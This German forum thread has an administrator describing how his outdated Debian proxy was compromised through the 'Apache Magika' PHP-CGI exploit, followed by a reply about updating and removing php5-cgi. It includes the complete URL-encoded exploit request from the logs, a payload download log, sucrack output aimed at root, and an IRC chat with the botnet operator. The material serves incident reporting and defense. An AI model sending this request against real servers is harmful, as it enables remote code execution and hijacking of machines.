Apache Magika, meine Story, schnelle Hilfe

Rootserveradmin

New Member
Hallo liebes Forum,

jetzt wirds mal Zeit, dass ich euch von dem Spaß berichte den ich die letzten Tage hatte.
Ich betreibe mehrere Server, und Glück auf, alle die wichtig sind bisher ohne ernsthafte Probleme.
Mein alter Proxyserver den ich mir für mich und einige Arbeitskollegen aufgesetzt habe, hat dabei aber keine so umfassende Pflege erfahren. Der Rechner, ein virtueller Server, klein, günstig und bei nem unzuverlässigen Hoster, läuft noch immer unter Debian Etch. Neben dem Proxy läuft auch apache2 und php drauf, weil ich auch eine kleine Anleitung für die Kollegen darauf habe wie denn die jeweiligen Browser einzurichten sind.
Was ist also passiert:
Kollege ruft mich an, Proxy läuft langsam, stimmt, was also sagt top?
74% Prozess Perl von User www-data.
Zusätzlich das hier „ps aux | grep www-data“:
Code:
www-data  1361  0.0  0.0      0     0 ?        Z    19:39   0:00 [sh] <defunct>
www-data  1368 68.7  0.3   4792  2944 ?        R    19:39  31:58 sh –i
www-data  1802  0.0  0.1   3148  1496 ?        S    20:24   0:00 sh -c ./find >> mata 2>&1 3>&1
Fuck was läuft da?
Schnell die ProcID kopiert, dumb gemacht und den Prozess gekillt, dann ging die Suche los. Lange suchen musste ich nicht, fündig wurde ich in der globalen access.log und error.log mit solchen Einträgen:


Code:
--20:22:15--  http://xxx.xxx.xxx.xxx/.../c
           => `c'
Connecting to xxx.xxx.xxx.xxx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 38,662 (38K) [text/plain]

    0K .......... .......... .......... .......              100%   90.18 KB/s

20:22:15 (90.18 KB/s) - `c' saved [38662/38662]

Code:
"POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 500 623 "-" "-"

Dieser führte mich auch schnell zur Erkenntnis, hier arbeitet ein Apache Magika und ich bin natürlich voll angreifbar. Jetzt kam bei mir aber der Spaß hoch. Den Rechner brauch ich nicht dringend, sensible Daten gibt es keine darauf und außer einer Shell mit Benutzerrechten kann ich nichts ausmachen, was der Angreifer hier fahren kann. Also nehm ich die Kiste nicht vom Netz und installiere nicht das aktuellste PHP
.
Was wurde da nachgeladen:
Ein Sip Auditing Tool, ein Bitcoinminer und verschiedene IRC Stealh Clients
Mittlerweile war mein Angreifer wieder da. Diesesmal wieder mit einem Prozess von www-data, aber kein Perl mehr sondern „sucrack“.
Code:
www-data  1841 23.2  0.1 166516  1208 ?        Rl   20:24   0:44 ./sucrack -w 20 -u root CAUGHT
www-data  1968 23.5  0.1  12020   832 ?        Rl   20:24   0:44 ./sucrack -w 20 -u root CAUGHT
Das war ca 30min nach meinem Prozesskill. Soso, wenn er meine Rechenleistung nicht mehr haben kann nach seiner Entdeckung will er also gleich alles. ;-) Auch hier wieder kill.

Um ApacheMagika zu verstehen hab ich mir das mal flott kompiliert und mich selbst angegriffen. Schon erschreckend wie einfach und komfortabel dieses Tool anwendbar ist. Für alle die schnelle Abhilfe gegen ApacheMagika wollen, mit diesem Script sperrt ihr den Angreifer aus. Trotzdem ist die Aktualisierung des Systems unbedingt empfehlenswert:

Code:
x=1
while [ x = 1 ]
do
kill1=`ps aux | grep www-data | grep -v start | awk '{ printf $2" "}'`; kill -9 $kill1;
 sleep 1
done

Ja jetzt hatte ich aber auch die verschiedenen Zugangsdaten der IRC Command&Control Server. Da juckt es jetzt absolut in den Fingern. Ich mir flott Mirc installiert und mal eingeloggt. Auf einem waren nur 5 Bots, nix los also, auf dem anderen war richtig viel Betrieb. Leider hatte ich keine Steueraktivität mitbekommen. Am nächsten Tag war der betriebsreiche Server nicht mehr online, also hab ich mich auf den anderen eingeloggt und Mirc einfach mal laufen lassen. Nach einigen Stunden kam ein Kommando an mich via whisper: „w“.
Yeah, da geht was und wie es dann so kommt hab ich mich dann mal mit dem Botnetzbetreiber unterhalten:

Code:
Session Start: Fri Nov 22 13:16:13 2013
Session Ident: root
[13:16] Session Ident: root (X.Y, coop) (~root@localhost)
[13:16] <root> w
01[13:21] <coop> hi
01[13:22] <coop> and you are the botmaster?
01[13:22] <coop> ;-)
01[13:22] <coop> apache-magika works well, i tried it on my own
[13:23] <root> you the guy that still my shit
[13:23] <root> ?
01[13:23] <coop> lol, yes
[13:23] <root> :))))
[13:23] <root> stop eof :P
01[13:23] <coop> the server will be shutdown the next days
[13:24] <root> witch one ?
[13:24] <root> mine ?
01[13:24] <coop> lol, its my server, not yours
[13:24] <root> ooo
[13:24] <root> :)))
[13:24] <root> bro .. i don't mine to take my vulnerable ips
[13:24] <root> but stop kill the perl ...
[13:24] <root> it's not cool
01[13:24] <coop> ;-)
[13:24] <root> i will start flooding everything 
[13:25] <root> and trust me .... that will not gonna be cool
01[13:25] <coop> wasnt it not you who starts a sucrack?
01[13:25] <coop> i know, you can pull me out or work, but i dont make money with that, so its no prob
[13:25] <root> thank you
[13:26] <root> where ar you from ?
01[13:26] <coop> germany
01[13:26] <coop> and you?
01[13:26] <coop> ok, i know, you wont saying ;-)
[13:26] <root> near to you
[13:26] <root> yes :)
[13:26] <root> like i say'd i don't mine you to steal ... but stop kill 
[13:26] <root> k ?
[13:26] <root> :)
[13:27] <root> i'am to lazy to make another irc
[13:27] <root> :P
01[13:27] <coop> i kill only the processes on my server
[13:27] <root> ok
01[13:32] <coop> how many bots do you control?
01[13:32] <coop> 100, 1000, 10000?
[13:32] <root> 20.000
[13:32] <root> :)
01[13:32] <coop> wow
01[13:32] <coop> thats much
[13:32] <root> brb i have to goo
[13:32] <root> :P
[13:32] <root> talk to you later
[13:32] <root> brb 1h
01[13:32] <coop> ok, bye 
01[13:34] <coop> and when you come back, i will ask you how much you earn the month

Die von ihm besagte Stunde danach kam es zu keinem weiteren Gespräch mit ihm, allerdings war mein Kabel Deutschland Anschluss nen halben Tag nicht mehr verfügbar. Das kann nun Zufall sein, aber ich vermute das da mal ein schöner Flood ins KD Netz gelaufen ist.

Ich werde den nachgeladenen Schadcode weiter sichten, vielleicht entdecke ich noch was Íinteressantes. Alle erreichbaren Hosts die bei den Attacken auf mich beteiligt waren bekommen ne Abuse Meldung damit die mal Bescheid wissen was ihre Kisten so treiben. Übrigens, diese kamen aus den Niederlanden, USA, Russland, dem asiatischen Raum, und und und…

Wie gesagt, das o.g. Script blockt nicht wirksam, gibt mir aber die Möglichkeit weiter meine Logs auf weitere Angriffe zu studieren. Leute haltet eure Systeme aktuell, wenn ein System out of Service ist zieht um auf neue Kisten! Schafft ihr das nicht alleine, gibt’s hier im Forum neben mir auch viele die sich damit auskennen und die euch gerne helfen.

Ich für meinen Teil werde, insofern es weitere nennenswerte Details dazu gibt diese hier veröffentlichen und euch auf dem Laufenden halten.
 
...lasset eure Server ungeupdatet nicht.

Und installiert nicht Pakete, die nicht gebraucht werden.

Ich habe eben meinen Precise64-Server gecheckt und da war php5-cgi installiert obwohl es nicht explizit installiert werden sollte (Die Kiste ist ausschließlich per Puppet konfiguriert dadurch ist das nachvollziehbar). Komischerweise ließ sich php5-cgi ohne davon abhängige Pakete abzuschießen entfernen.

Ich habe eben für Precise64 und Squeeze64 (für Etch habe ich keine Vagrant-Box gefunden) getestet ob eine Default-Installation verwundbar ist, was nicht der Fall ist. (php5.3.10-1)
 
Back
Top